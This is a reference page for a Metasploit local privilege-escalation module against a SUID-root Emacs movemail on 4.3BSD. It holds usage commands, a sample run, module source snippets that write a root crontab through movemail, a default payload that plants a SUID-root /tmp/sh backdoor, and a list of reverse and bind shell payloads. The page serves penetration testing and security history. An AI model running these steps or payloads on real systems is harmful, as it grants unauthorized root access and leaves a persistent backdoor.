Emacs movemail Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/unix/local/emacs_movemail metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Emacs movemail Privilege Escalation
Module: exploit/unix/local/emacs_movemail
Source code: modules/exploits/unix/local/emacs_movemail.rb
Disclosure date: 1986-08-01
Last modification time: 2021-02-05 12:15:44 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module exploits a SUID installation of the Emacs movemail utility to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local. The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/unix/local/emacs_movemail
msf exploit(emacs_movemail) > show targets
... a list of targets ...
msf exploit(emacs_movemail) > set TARGET target-id
msf exploit(emacs_movemail) > show options
... show and set options ...
msf exploit(emacs_movemail) > set SESSION session-id
msf exploit(emacs_movemail) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
Description
This module exploits a SUID installation of the Emacs movemail
utility
to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local
.
The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.
Setup
A Docker environment for 4.3BSD on VAX is available at https://github.com/wvu/ye-olde-bsd.
For manual setup, please follow the Computer History Wiki's guide or Allen Garvin's guide if you're using Quasijarus.
Verification Steps
Targets
0
This uses /usr/lib/crontab.local
to execute code.
Options
MOVEMAIL
Set this to the absolute path to the SUID-root movemail
executable.
CMD
If your payload is cmd/unix/generic
(suggested default), set this to
the command you want to run as root. The provided default will create a
SUID-root shell at /tmp/sh
.
Scenarios
4.3BSD
msf5 > use exploit/unix/local/emacs_movemail
msf5 exploit(unix/local/emacs_movemail) > options
Module options (exploit/unix/local/emacs_movemail):
Name Current Setting Required Description
---- --------------- -------- -----------
MOVEMAIL /etc/movemail yes Path to movemail
SESSION yes The session to run this module on.
Payload options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cp /bin/sh /tmp && chmod u+s /tmp/sh yes The command string to execute
Exploit target:
Id Name
-- ----
0 /usr/lib/crontab.local
msf5 exploit(unix/local/emacs_movemail) > set session -1
session => -1
msf5 exploit(unix/local/emacs_movemail) > run
[*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc
[-] Current shell is unknown
[*] $PATH is /bin:/usr/bin:/usr/ucb:/etc
[+] SUID-root /etc/movemail found
[*] Preparing crontab with payload
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
* * * * * root rm -f /usr/lib/crontab.local
[*] Creating writable /usr/lib/crontab.local
[+] Writing crontab to /usr/lib/crontab.local
[!] Please wait at least one minute for effect
[*] Exploit completed, but no session was created.
msf5 exploit(unix/local/emacs_movemail) >
Go back to menu.
Msfconsole Usage
Here is how the unix/local/emacs_movemail exploit module looks in the msfconsole:
msf6 > use exploit/unix/local/emacs_movemail
[*] Using configured payload cmd/unix/generic
msf6 exploit(unix/local/emacs_movemail) > show info
Name: Emacs movemail Privilege Escalation
Module: exploit/unix/local/emacs_movemail
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 1986-08-01
Provided by:
Markus Hess
Cliff Stoll
wvu <[email protected]>
Available targets:
Id Name
-- ----
0 /usr/lib/crontab.local
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
MOVEMAIL /etc/movemail yes Path to movemail
SESSION yes The session to run this module on.
Payload information:
Avoid: 1 characters
Description:
This module exploits a SUID installation of the Emacs movemail
utility to run a command as root by writing to 4.3BSD's
/usr/lib/crontab.local. The vulnerability is documented in Cliff
Stoll's book The Cuckoo's Egg.
References:
https://en.wikipedia.org/wiki/Movemail
https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg
http://pdf.textfiles.com/academics/wilyhacker.pdf
https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html
https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html
https://mailutils.org/manual/html_node/movemail.html
Module Options
This is a complete list of options available in the unix/local/emacs_movemail exploit:
msf6 exploit(unix/local/emacs_movemail) > show options
Module options (exploit/unix/local/emacs_movemail):
Name Current Setting Required Description
---- --------------- -------- -----------
MOVEMAIL /etc/movemail yes Path to movemail
SESSION yes The session to run this module on.
Payload options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cp /bin/sh /tmp && chmod u+s /tmp/sh yes The command string to execute
Exploit target:
Id Name
-- ----
0 /usr/lib/crontab.local
Advanced Options
Here is a complete list of advanced options supported by the unix/local/emacs_movemail exploit:
msf6 exploit(unix/local/emacs_movemail) > show advanced
Module advanced options (exploit/unix/local/emacs_movemail):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ForceExploit false no Override check result
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/generic):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/local/emacs_movemail module can exploit:
msf6 exploit(unix/local/emacs_movemail) > show targets
Exploit targets:
Id Name
-- ----
0 /usr/lib/crontab.local
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/local/emacs_movemail exploit:
msf6 exploit(unix/local/emacs_movemail) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
21 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
22 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
23 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
24 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
25 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
26 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
32 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
33 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
34 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
35 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
36 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
37 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
38 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
39 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
40 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
41 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
42 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
43 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
44 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
45 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
46 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
47 payload/generic/custom normal No Custom Payload
48 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
49 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/local/emacs_movemail exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/local/emacs_movemail) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Current shell is unknown
Here is a relevant code snippet related to the "Current shell is unknown" error message:
97: cmd_exec("PATH=#{bin_path}; export PATH")
98: when %r{/bin/csh}
99: vprint_status('Current shell is /bin/csh')
100: cmd_exec("setenv PATH #{bin_path}")
101: else
102: vprint_bad('Current shell is unknown')
103: end
104:
105: vprint_status("$PATH is #{cmd_exec('echo $PATH').chomp}")
106: end
107:
System does not appear to be 4.3BSD
Here is a relevant code snippet related to the "System does not appear to be 4.3BSD" error message:
105: vprint_status("$PATH is #{cmd_exec('echo $PATH').chomp}")
106: end
107:
108: def check
109: unless is_43bsd?
110: vprint_warning('System does not appear to be 4.3BSD')
111: end
112:
113: unless file?(movemail)
114: vprint_bad("#{movemail} not found")
115: return CheckCode::Safe
<MOVEMAIL> not found
Here is a relevant code snippet related to the "<MOVEMAIL> not found" error message:
109: unless is_43bsd?
110: vprint_warning('System does not appear to be 4.3BSD')
111: end
112:
113: unless file?(movemail)
114: vprint_bad("#{movemail} not found")
115: return CheckCode::Safe
116: end
117:
118: unless movemail.end_with?('movemail')
119: vprint_warning("#{movemail} has an unexpected name")
<MOVEMAIL> has an unexpected name
Here is a relevant code snippet related to the "<MOVEMAIL> has an unexpected name" error message:
114: vprint_bad("#{movemail} not found")
115: return CheckCode::Safe
116: end
117:
118: unless movemail.end_with?('movemail')
119: vprint_warning("#{movemail} has an unexpected name")
120: end
121:
122: unless setuid_root?(movemail)
123: vprint_status("Non-SUID-root #{movemail} found")
124: return CheckCode::Detected
<CRONTAB_LOCAL> already exists
Here is a relevant code snippet related to the "<CRONTAB_LOCAL> already exists" error message:
134: return cmd_exec(payload.encoded)
135: end
136:
137: # outdesc = open (outname, O_WRONLY | O_CREAT | O_EXCL, 0666);
138: if file?(crontab_local)
139: fail_with(Failure::NoTarget, "#{crontab_local} already exists")
140: end
141:
142: print_status('Preparing crontab with payload')
143: tab = crontab(payload.encoded)
144: vprint_line(tab)
<CRONTAB_LOCAL> is not writable
Here is a relevant code snippet related to the "<CRONTAB_LOCAL> is not writable" error message:
147: # (void) ftruncate (indesc, 0L);
148: print_status("Creating writable #{crontab_local}")
149: cmd_exec("(umask 0 && #{movemail} /dev/null #{crontab_local})")
150:
151: unless writable?(crontab_local)
152: fail_with(Failure::NoAccess, "#{crontab_local} is not writable")
153: end
154:
155: print_good("Writing crontab to #{crontab_local}")
156: cmd_exec("echo '#{tab.gsub("'", "'\\\\''")}' > #{crontab_local}")
157: print_warning('Please wait at least one minute for effect')
Please wait at least one minute for effect
Here is a relevant code snippet related to the "Please wait at least one minute for effect" error message:
150:
151: unless writable?(crontab_local)
152: fail_with(Failure::NoAccess, "#{crontab_local} is not writable")
153: end
154:
155: print_good("Writing crontab to #{crontab_local}")
156: cmd_exec("echo '#{tab.gsub("'", "'\\\\''")}' > #{crontab_local}")
157: print_warning('Please wait at least one minute for effect')
158: end
159:
160: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE: Not available
- https://en.wikipedia.org/wiki/Movemail
- https://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg
- http://pdf.textfiles.com/academics/wilyhacker.pdf
- https://www.gnu.org/software/emacs/manual/html_node/efaq/Security-risks-with-Emacs.html
- https://www.gnu.org/software/emacs/manual/html_node/emacs/Movemail.html
- https://mailutils.org/manual/html_node/movemail.html
See Also
Check also the following modules related to this module:
- exploit/linux/http/elfinder_archive_cmd_injection
- exploit/multi/http/confluence_widget_connector
- exploit/unix/local/at_persistence
- exploit/unix/local/chkrootkit
- exploit/unix/local/exim_perl_startup
- exploit/unix/local/netbsd_mail_local
- exploit/unix/local/opensmtpd_oob_read_lpe
- exploit/unix/local/setuid_nmap
Authors
- Markus Hess
- Cliff Stoll
- wvu
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.